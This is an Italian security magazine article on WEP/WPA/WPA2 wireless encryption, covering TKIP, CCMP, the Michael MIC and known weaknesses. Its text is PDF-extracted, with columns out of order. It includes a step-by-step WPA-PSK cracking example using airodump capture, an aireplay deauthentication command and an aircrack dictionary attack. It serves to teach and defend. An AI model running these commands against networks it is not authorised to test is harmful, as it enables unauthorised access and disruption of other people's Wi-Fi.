differenza è importante nella cifratura TKIP e CCMP, dal momento
che in TKIP la MIC viene calcolata
dal MSDU, mentre nel CCMP vene
calcolata dal MPDU.
Proprio come WEP, la TKIP si
basa sull'algoritmo di cifratura RC4,
ma esiste per una sola ragione: per
permettere ai sistemi WEP di essere
aggiornati e implementare protocolli
più sicuri. La TKIP è richiesta per la
certificazione WPA ed è anche inserita nel RSN 802.11i come opzione
facoltativa. La TKIP aggiunge anche
misure correttive per tutte le vulnerabilità WEP descritte prima:
Fig. 9: Fase 3: Handshake a 4 vie
La Group Key Handshake è richiesta solo per dissociare un host e
per rigenerare la GTK su richiesta di
un client. L'autenticatore inizializza il
primo messaggio scegliendo il numero causale GNonce e calcolando una
nuova GTK. Poi invia al supplicant la
GTK cifrata (usando KEK), il numero
di sequenza GTK e la MIC calcolata
da questo messaggio usando KCK.
Quando il supplicant riceve il messaggio, la MIC viene verificata e la
GTK può essere decifrata.
Il secondo messaggio riconosce
il completamento della Group Key
Handshake inviando un numero di
sequenza GTK e la MIC calcolata su
questo secondo messaggio. Dopo la
ricezione, l'autenticatore installa la
nuova GTK (dopo aver verificato il
valore MIC).
Esiste anche una STAkey Handshake, ma non ne discuteremo in
questo articolo. Supporta la creazione dal punto di accesso di chiavi
segrete di tipo transient chiamate
STAkey per le connessioni ad-hoc.
•
supportano la segretezza e l'integrità
dei dati RSNA:
•
•
•
TKIP (Temporal Key Hash),
CCMP (Counter-Mode / Cipher
Block Chaining Message Authentication Code Protocol),
WRAP (Wireless Robust Authenticated Protocol).
•
Prima di analizzare in dettaglio
questi protocolli dobbiamo capire
un concetto importante: la differenza che passa tra un MSDU (MAC
Service Data Unit) e un MPDU (MAC
Fase 4: Segretezza e integrità
dei dati RSNA
Tutte le chiavi generate in precedenza sono usate nei protocolli che
22
hakin9 Nº 2/2006
•
Fig. 10: Fase 3: Group Key Hierarchy
www.hakin9.org
•
integrità del messaggio: una nuova
MIC (Message Integrity Protocol)
chiamata Michael che può essere
implementata nei software che
girano su microprocessori lenti,
IV: una nuova selezione di regole
per i valori IV, re-utilizzando il
vettore IV come contatore replay
(TSC, o TKIP Sequence Counter)
e aumentando le dimensioni del
vettore IV per evitare il riutilizzo,
Funzione Per Packet Key Mixing:
per generare chiavi di cifratura
apparentemente non legate,
gestione chiave: nuovo meccanismo per la distribuzione e la
modifica delle chiavi.
Sicurezza WEP, WPA e WPA2
Il modello TKIP Key-Mixing si divide
in due fasi. La Fase 1 riguarda i dati
statici – la chiave di sessione segreta
TEK, l'indirizzo trasmettitore MAC TA
(per prevenire le collisioni tra vettori IV)
e i 32 bit più alti del vettore IV. La Fase 2 dipende dall'output della Fase 1
e comprende i 16 bit più bassi del
vettore IV, modificando tutti i bit del
campo Per Packet Key per ogni nuovo
IV. Il valore IV inizia sempre con 0 ed
è aumentato di 1 per ogni pacchetto
inviato, con il rifiuto di qualsiasi messaggio il cui TSC non è più grande dell'ultimo messaggio. L'output della Fase
2 e parte del IV esteso (più un byte di
prova) sono l'input per la RC4, generando un keystream con un operatore
XOR con un MPDU in formato testo, la
MIC calcolata dalla MPDU e il vecchio
ICV di WEP (vedere Fig. 12).
Il calcolo MIC utilizza l'algoritmo
Michael di Niels Ferguson. Venne
creato per la TKIP e ha un livello di
sicurezza di 20 bit (l'algoritmo non usa
la moltiplicazione per ragioni di prestazione, poiché deve essere supportato
da hardware wireless di vecchia generazione e deve essere aggiornato
per il WPA). A causa di questi limiti, le
contromisure sono necessaire per evitare una alterazioni MIC. I guasti MIC
devono essere ridotti a due al minuto,
altrimenti viene applicato un balckout
di 60 secondi e le nuove chiavi (GTK
e PTK) devono essere stabilite in un
secondo momento. Micheal calcola un
valore di controllo di 8 ottetti chiamato
MIC e lo aggiunge al MSDU prima
della trasmissione. La MIC viene
calcolato dall'indirizzo di origine (SA),
indirizzo di destinazione (DA), MSDU
in testo chiaro e la TMK appropriata
(a seconda dei casi, viene usata una
chiave diversa per la trasmissione e la
ricezione).
Il CCMP si basa sulla suite dei
cifrario a blocco AES (Advanced Encryption Standard) in modalità CCM
con le chiavi e i blocchi di 128 bit. AES
è per CCMP quello che RC4 è per
TKIP, ma al contrario di TKIP che era
stato creato per accogliere l'hardware
WEP esistente, CCMP non è un ibrido
bensì un nuovo protocollo. Il CCMP
utilizza una modalità combinato ad
un messaggio di autenticazione detto
Fig. 11: Fase 3: Group Key Handshake
Cipher Block Chaining (CBC-MAC)
per produrre una MIC.
Esso aggiunge altre funzionalità interessanti, come l'uso di
una singola chiave per la cifratura
e l'autenticazione (con diversi vettori
di inizializzazione) o che si occupavano dati non cifrati dall'autenticazione.
Il protocollo CCMP aggiunge 16 byte
alla MPDU: 8 byte per l'intestazione
CCMP e 8 byte per la MIC. L'intestazione CCMP è un campo non cifrato
incluso tra l'intestazione MAC e i dati
cifrati, inclusi il PN di 48 bit (Packet
Number = IV esteso) e il Group Key
KeyID. La PN viene aumentata di
uno per ogni MPDU successivo.
Il calcolo MIC utilizza l'algoritmo
CBC-MAC che cripta il blocco nonce
(calcolato dai campi Priority, MPDU
indirizzo di origine e il PN aumentato) e i blocchi XOR successivi per
ottenere una MIC finale di 64 bit (la
MIC finale è un blocco di 128 bit, dal
momento che i 64 bit più bassi sono
rifiutati). Il MIC viene più aggiunto ai
dati in testo semplice per la cifratura
AES in modalità contatore. Il contatore è costruito da un nonce simile
a quello della MIC, ma con un campo contatore in più inizializzato a 1
e incrementato per ogni blocco.
L'ultimo protocollo è WRAP,
basato anch'esso su AES, ma che
utilizza il modello di cifratura autenticato OCB (Offset Codebook Mode)
(cifratura e l'autenticazione in un
unico calcolo). Il modello OCB fu il
primo scelto dal gruppo di lavoro di
IEEE 802.11i, ma venne poi abbandonato a causa di problemi legati alla
proprietà intellettuale e le tariffe della
www.hakin9.org
licenza. Il CCMP venne allora adottato come metodo obbligatorio.
Limiti di WPA/WPA2
Anche se sono state scoperte un numero di limiti minori in WPA/WPA2,
nessuna di queste debolezze è considerato troppo pericolo a condizione
che si rispettano le raccomandazioni
di sicurezza.
La vulnerabilità più pratica è l'attacco contro la chiave PSK di WPA/
WPA2. Come abbiamo già detto, la
PSK fornisce un alternativa alla generazione PMK di 802.1x attraverso
un server di autenticazione. Si tratta
di una stringa di 256 bit o passphrase
di 8 a 63 caratteri usati per generare
tale stringa con un algoritmo noto:
PSK = PMK = PBKDF2 (password,
SSID, lunghezza SSID, 4096, 256),
dove PBKDF2 è un metodo usato in
PKCS#5, 4096 è il numero delle hash
e 256 è la lunghezza dell'output. Il
PTK è derivato dalla PMK usando la
Handshake a 4 vie e tutte le informazioni usate per calcolare il suo valore
è trasmesso in testo semplice.
La forza di PTK quindi risiede
solo nel valore PMK che per la PSK
significa la passphrase. Come indicato da Robert Moskowitz, il secondo
messaggio della Handshake a 4 vie
potrebbe essere soggetto sia al dictionary attack sia alla brute force offline.
Cowpatty fu creata per sfruttare questo difetto,e il suo codice sorgente era
stato usato e migliorato da Christophe
Devine in Aircrack per consentire il
gli attacchi di tipo dictionary su PSK
e di brute force su WPA. La struttura
del protocollo (4096 hash per ogni
hakin9 Nº 2/2006
23
Prima Pagina
Fig. 12: Modello TKIP Key-Mixing e cifratura
tentativo di password) significa che
un attacco brute force è molto lento
(solo alcune centinaia di password
per secondo con i più recenti processori singoli). Il PMK non può essere
pre-calcolato dal momento che la
passphrase viene mischiato ulteriormente in base alla ESSID. Per proteggersi efficacemente da questo difetto
è bene scegliere una buona passphrase con parole inesistenti (almeno 20 caratteri).
Fig. 13: Calcolo MIC con l'algoritmo Michael
Fig. 14: Cifratura CCMP
24
hakin9 Nº 2/2006
www.hakin9.org
Sicurezza WEP, WPA e WPA2
Per eseguire questo attacco,
l'aggressore dove catturare i messaggi della Handshake a 4 vie monitorano passivamente la rete wireless
o usando l'attacco di de-autenticazione (descritto prima) per velocizzare il processo.
Infatti, i primi due messaggi sono
necessari per iniziare la previsione
dei valori PSK. Ricordate che PTK =
PRF-X (PMK, Pairwise key expansion,
Min(AP_Mac, STA_Mac) || Max(AP_
Mac, STA_Mac) || Min(ANonce,
SNonce) || Max(ANonce, SNonce)),
dove PMK è uguale a PSK nel nostro
caso. Dopo il secondo messaggio,
l'aggressore conosce ANonce (dal
primo messaggio) e SNonce (dal
secondo messaggio) e può iniziare
a indovinare il valore PSK per calcolare il PSK e le chiavi temporanee
derivate. Se il PSK è indovinato giustamente, il MIC del secondo messaggio
potrebbe essere ottenuto con la KCK
corrispondente – altrimenti una nuova
previsione deve essere fatta.
Adesso vediamo un esempio
pratico. Inizia proprio con l'esempio
del cracking del WEP. Il primo passo
è attivare la modalità monitor:
# airmon.sh start ath0
Il passo successivo è di rilevare reti
vicine e i rispettivi client associati
(vedere Listing 7).
Questo risultato potrebbe essere
interpretato come segue: un punto di
accesso con BSSID 00:13:10:1F:9A:
72 sta usando la cifratura WPA sul canale 1 con la SSID hakin9demo e un
client, identificato dall'indirizzo MAC
00:0C:F1:19:77:5C sono associati
e autenticati su questa rete wireless
(in altre parole la Handshake a 4 vie
è stata già fatta per questo client).
Una volta trovato la rete di interesse, verrà lanciato la cattura sul
canale corretto per evitare di mancare i pacchetti desiderati durante la
scansione di altri canali:
mettendoci di catturare i messaggi
Handshake a 4 vie. Aireplay è usata
anche per questo attacco e dissocerà il client selezionato con il BSSID
specificato inviando una richiesta di
dissociazione fasulla:
# aireplay -0 1 -a <BSSID>
-c <client_mac> ath0
Il passo finale è di lanciare un attacco di dizionario usando Aircrack (vedere Listing 8). La Fig. 15 presenta
i risultati.
L'altra grande debolezza di WPA
è la possibilità di un Denial of Service
durante la Handshake a 4 vie. Changhua He e John C. Mitchell hanno
notato che il primo messaggio della
Handshake a 4 vie non è autenticato
e ogni client deve memorizzare ogni
primo messaggio fino a quando non
riceve un terzo messaggio valido
(firmato), lasciando il client vulnerabile all'esaurimento della memoria.
Falsando il primo messaggio inviato
dal punto di accesso, un aggressore
può eseguire un DoS sul client se
è possibile per diverse sessioni simultanee di esistere.
Il Michael Message Integrity Code noto anche come debolezza che
risulta dalla sua struttura (forzato dal
task group di 802.11i). La sicurezza di
Michael si basa su una comunicazione
cifrata. Anche se le MIC crittografiche
sono di solito pianificate per resistere
a attacchi in testo semplice noti (dove
Listing 7. Rilevazione di reti vicine
# airodump ath0 wpa-crk 0
BSSID
00:13:10:1F:9A:72
PWR
56
Beacons
112
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
PWR
34
CH
1
MB
48
Packets
1
ENC
WPA
ESSID
hakin9demo
ESSID
hakin9demo
Listing 8. Lancio di un attacco di dizionario
$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
Read 541 packets.
BSSID
ESSID
Encryption
00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
# airodump ath0 wpa-psk 1
i client illegittimi dovrebbero quindi
essere dissociati, obbligandoli a iniziare una nuova associazione e per-
Fig. 15: WPA PSK debole trovata con Aircrack
www.hakin9.org
hakin9 Nº 2/2006
25
Prima Pagina
l'aggressore ha un messaggio in chiaro
e il proprio MIC), Micheal è vulnerabile
a tali attacchi perché è invertibile. Dato
un unico messaggio noto e il suo valore MIC, è possibile scoprire la chiave
segreta MIC, quindi mantenendo il
valore MIC segreto è cruciale. L'ultima
debolezza nota è un attacco teoretico
contro la Temporal Key Hash di WPA,
che comprende una complessità
ridotta dell'attacco (da ∂128 a ∂105)
in alcune circostanze (conoscenza di
diverse chiavi RC4).
WPA/WPA2 sono anche soggette
a vulnerabilità che colpiscono altri
meccanismi 802.11i come gli attacchi
con l'alterazione del messaggio802.1X
(EAPoL Logoff, EAPoL Start, EAP
Failure ecc.), descritto per la prima
volta da William A. Arbaugh e Arunesh
Mishra e forse dovuto alla mancanza
di autenticazione. Infine, è importante
notare che usare il protocollo WPA/
WPA2 non fornisce nessuna protezione contro le tecnologie sottostanti,
come la radio frequency jamming,
DoS attraverso violazioni 802.11, deautenticazione, de-associazione, ecc.
Implementazione
WPA/WPA2 OS
Su Windows, il supporto WPA2
non è integrato. Un aggiornamento
per Windows XP SP2 (KB893357)
venne distribuito il 29 aprile 2005,
aggiungendo WPA2 e migliorando
la rilevazione della rete (vedere
Fig. 16). Altri sistemi operativi Microsoft devono usare un supplicant
esterno (commerciale o open sour-
ce, come wpa_supplicant – la versione Windows è sperimentale).
Su Linux e *BSD, wpa_supplicant era già pronto per WPA2
appena uscito lo standard 802.11i.
Il supplicant esterno supporta una
grande quantità di metodi EAP e le
funzioni per la gestione delle chiavi
per WPA, WPA2 e WEP. Le reti multiple possono essere dichiarate con
diversi metodi di cifratura, gestione
delle chiavi EAP – Il Listing 9 presenta un semplice file di configurazione
WPA2. La collocazione predefinita
per il file di configurazione wpa_supplicant è /etc/wpa_supplicant.conf,
e il file dovrebbe solo essere accessibile dall'utente di root.
Il demone wpa_supplicant dovrebbe prima essere lanciato con
Glossario
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
26
AP – Access Point, una stazione base per una rete Wi-Fi che
connette client wireless tra di essi e a reti wired.
ARP – Address Resolution Protocol, protocollo per la traduzione di indirizzi IP in indirizzi MAC.
BSSID – Basic Service Set Identifier, indirizzo MAC per il
punto d'accesso.
CCMP – Counter-Mode / Cipher Block Chaining Message
Authentication Code Protocol, protocollo di cifratura usato in
WPA2, basato sulla suite dei cifrari a blocco AES.
CRC – Cyclic Redundancy Check, algoritmo pseudo-integrità usato nel protocollo WEP (debole).
EAP – Extensible Authentication Protocol, framework per
diversi metodi di autenticazione.
EAPOL – EAP Over LAN, protocollo usato nelle reti wireless
per il trasporto del framewrok EAP.
GEK – Group Encryption Key, chiave per la cifratura dei dati
nel traffico multicast (usato anche per la integrità in CCMP).
GIK – Group Integrity Key, chiave per la cifratura dei dati nel
traffico multicast (usato in TKIP).
GMK – Group Master Key, chiave principale del gruppo di
gerarchia delle chiavi.
GTK – Group Transient Key, chiave derivante dalla GMK.
ICV – Integrity Check Value, campo dati aggiunti ai dati in
chiaro per l'integrità (basato sull'algoritmo debole CRC32).
IV – Initialization Vector, dati combinati con la chiave di cifratura che produce un unico keystream.
KCK – Key Confirmation Key, chiave di integrità che protegge i messaggi di handshake.
KEK – Key Encryption Key, chiave di segretezza che protegge i messaggi di handshake.
MIC – Message Integrity Code, campo dati aggiunti ai dati in
chiaro per l'integrità (basato sull'algoritmo Michael).
MK – Master Key, chiave maestra nota al supplicant e all'autenticatore dopo il processo di autenticazione 802.1x.
MPDU – Mac Protocol Data Unit, pacchetti dati prima della
frammentazione.
hakin9 Nº 2/2006
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
MSDU – Mac Service Data Unit, pacchetto dati dopo la frammentazione.
PAE – Port Access Entity, porta logica 802.1x.
PMK – Pairwise Master Key, chiave maestra della coppia
della gerarchia della chiave.
PSK – Pre-Shared Key, chiave derivante da una passphrase
che sostituisce il PMK che si solito vienen lanciato dal un
vero server autenticatore.
PTK – Pairwise Transient Key, chiave derivante dalla PMK.
RSN – Robust Security Network, meccanismo di sicurezza
802.11i (TKIP, CCMP ecc.).
RSNA – Robust Security Network Association, associazione
di sicurezza usato in un RSN.
RSN IE – Robust Security Network Information Element,
campi contenenti le informazioni RSN incluse nella Probe
Response e nella Association Request.
SSID – Service Set Identifier, l'identificatore della rete wireless (diverso da ESSID).
STA – Station, un client wireless.
TK – Temporary Key, chiave per la cifratura dei dati nel traffico
unicast (usato anche per la verifica dell'integrità in CCMP).
TKIP – Temporal Key Integrity Protocol, protocollo di cifratura
usato in WPA basato sull'algoritmo RC4 (come WEP).
TMK – Temporary MIC Key, chiave per l'integrità dei dati nel
traffico unicast (usato in TKIP).
TSC – TKIP Sequence Counter, contatore replay usato in
TKIP (diverso da Extended IV).
TSN – Transitional Security Network, meccanismo di sicurezza pre-802.11i (WEP ecc.).
WEP – Wired Equivalent Privacy, protocollo di cifratura predefinito per le reti 802.11.
WPA – Wireless Protected Access, implementazione di una
prima versione dello standard 802.11i, basato sull'algoritmo
di cifratura TKIP.
WRAP – Wireless Robust Authenticated Protocol, il vecchio
protocollo di cifratura usato nelle WPA2.
www.hakin9.org
Sicurezza WEP, WPA e WPA2
Listing 9. File di configurazione wpa_supplicant per WPA2
ap_scan=1
# Scan radio frequency and select appropriate access
point
network={
# First wireless network
ssid="some_ssid" # SSID of the network
scan_ssid=1
# Send Probe Request to find hidden SSID
proto=RSN
# RSN for WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Pre-Shared Key authentication
pairwise=CCMP
# CCMP protocol (AES encryption)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}
i privilegi di root in modalità debug
(opzione -dd), con il supporto di
driver corretto (nel nostro esempio
è l'opzione -D madWi-Fi per suppor-
tare il chipset Atheros), il nome dell'interfaccia (opzione -i, nel nostro
caso è ath0) e un percorso al file di
configurazione (opzione -c):
# wpa_supplicant
Cenni sull'autore
Guillaume Lehembre è un consulente francese che si occupa della sicurezza informatica presso la HSC (Hervé Schauer Consultants – http://www.hsc.fr) dal 2004. Durante
la sua lunga e varieggiata carriera professionale si è occupato di certificazioni, studi e
test di penetrazione, acquisendo una notevole esperienza nella sicurezza wireless. Ha
anche tenuto delle conferenze e pubblicato degli studi sulla sicurezza. Potete contattare Guillaume al suo indirizzo email: [email protected].
In Rete
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Fig. 16: Supporto WPA2 su
Windows XP SP2
http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – standard IEEE
802.11i,
http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi
Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley
– ISBN: 0-321-13620-9,
http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – Un attacco induttivo in formato testo contro WEP/WEP2 (Arbaugh),
http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Debolezze dell'algoritmo
Key Scheduling della RC4 (Fluhrer, Mantin, Shamir),
http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – ottimizzazione
h1kari,
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – articolo Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner),
http://airsnort.shmoo.com/ – AirSnort,
http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine),
http://weplab.sourceforge.net/ – Weplab (Sanchez),
http://www.Wi-Finetnews.com/archives/002452.html – limiti di WPA PSK (Moskowitz),
http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – strumenti per il
crack con Cowpatty WPA-PSK,
http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analisi della handshake a 4 vie 802.11i (He, Mitchell),
http://www.cs.umd.edu/%7ewaa/1x.pdf – Un'analisi iniziale della sicurezza dello
standard IEEE 802.1X (Arbaugh, Mishra),
http://support.microsoft.com/?kbid=893357 – Aggiornamento WPA2 per Microsoft Windows XP SP2,
http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,
http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Parte 1,
http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Parte 2.
www.hakin9.org
-D madWi-Fi
-dd -c /etc/wpa_supplicant.conf
-i ath0
Tutte le fasi teoriche descritte appena
sono output in modalità debug (associazione AP, autenticazione 802.1X,
Handshake a 4 vie ecc.). Appena
è tutto funzionante, wpa_supplicant
dovrebbe essere eseguito in modalità demone (sostituite l'opzione -dd
con -B).
Su Macintosh, WPA2 è supportato con la versione dell'aggiornamento 4.2 di Apple AirPort software:
AirPort Extreme-enabled Macintoshes, AirPort Extreme Base Station
e AirPort Express.
Conclusioni
Ci sembra chiaro che la cifratura WEP
non fornisce abbastanza sicurezza in
ambito delle reti wireless e può essere
usata solo con soluzioni di cifratura di
livello più alto (come VPN). WPA è una
soluzione sicura per dispositivi che si
possono aggiornare e che non supportano WPA2, ma WPA2 diventerà
presso lo standard per la sicurezza
wireless. Non dimenticate di mettere
i vostri dispositivi wireless in una zona
filtrata e mantenere una connessione
wired a portata di mano per le reti mission-critical ad alta prestazione – radio
frequency jamming e attacchi di basso livello (violazione dello standard
802.11, de-associazioni fasulle, ecc)
possono ancora essere devastanti. l
hakin9 Nº 2/2006
27

Documenti analoghi

Sicurezza delle reti wireless

Sicurezza delle reti wireless § svantaggi § scalabilità § MAC spoofing § sicurezza fisica § in caso di furto non c’è più sicurezza

Dettagli

La sicurezza nelle reti Wireless: tecniche di

La sicurezza nelle reti Wireless: tecniche di singoli punti di accesso. Determinano la quantità dei dati trasmessi per eventuali attacchi al WEP Alcuni di essi ricavano le informazioni relative ai sistemi Cisco attraverso il Cisco Discovery Pr...

Dettagli